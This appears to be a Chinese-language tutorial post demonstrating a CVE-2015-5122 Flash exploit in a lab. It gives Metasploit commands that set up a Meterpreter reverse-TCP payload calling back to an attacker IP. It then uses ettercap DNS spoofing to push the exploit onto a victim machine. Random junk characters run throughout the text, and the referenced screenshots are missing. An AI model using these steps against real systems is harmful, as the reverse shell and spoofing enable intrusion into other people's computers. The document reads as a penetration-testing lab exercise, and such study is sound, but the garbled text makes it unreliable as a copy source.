cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 2 C$ S# H" H# T, Q3 K" t

! D/ H5 K, X# Z8 }, R& y   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： 3 G; K: h/ I0 {7 ?7 p

search cve-2015-5122如图： ! y: b$ }- X, L! e; `& F. h. H

' Y( A. c v* v1 N

  $ L5 T- \; U3 K) o

5 _, Y3 Y( O, h# q

下面我们敲如下命令： 3 g" V2 ^" A, [! w3 J9 Q" E% Y5 Y, w- G

& A& `6 R! g& s2 e3 v0 Y/ V$ R" g

use exploit/multi/browser/adobe_flash_opaque_background_uaf

, Z9 r* \$ B: E" t3 B! U4 z$ z& Q set PAYLOAD windows/meterpreter/reverse_tcp r% [7 p' N* O; a7 T; C% Z

5 ]3 b; p7 V1 m' L, h set LHOST 192.168.0.109

1 f5 U0 Z2 M Z/ a) O set URIPATH /                        /*根目录*/

, G; J% T4 Z* y7 `+ T% U7 W1 t

% R: f. x! i1 d set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

3 m9 b' B4 R1 s7 H- d0 C6 F( q2 A1 z

6 |. Y* Q- E: t, V& F. U! m6 f set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

然后show options如图：

  4 `8 X) H. ~, p( D" v E5 a2 V

' w7 _2 u1 K1 m

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
5 O) p4 j9 u3 U / v+ c. G. {$ t+ r7 B( c

; H' O0 ^/ g& } 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 / [0 A2 u: R- @& J

) K: U5 a+ T/ ?4 _ Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf 6 y4 G, q/ I3 _. e H6 `) w* ?: H$ t

 

1 t$ ?: T' r+ H1 Q' ^+ s& }. o

成功了，这时候我们断开ettercap，如图： ' o# H+ R# {0 L/ @

& V6 P3 R8 K3 N. Y6 E# y1 `  

7 S" h/ r$ g9 @" s! B ]

Screenshot如图：

: [0 g: F( l/ U1 g; |* i   / c+ R' Q4 S1 [8 A0 t% a6 V) w

/ D4 f \4 E% n1 [9 ^2 I6 `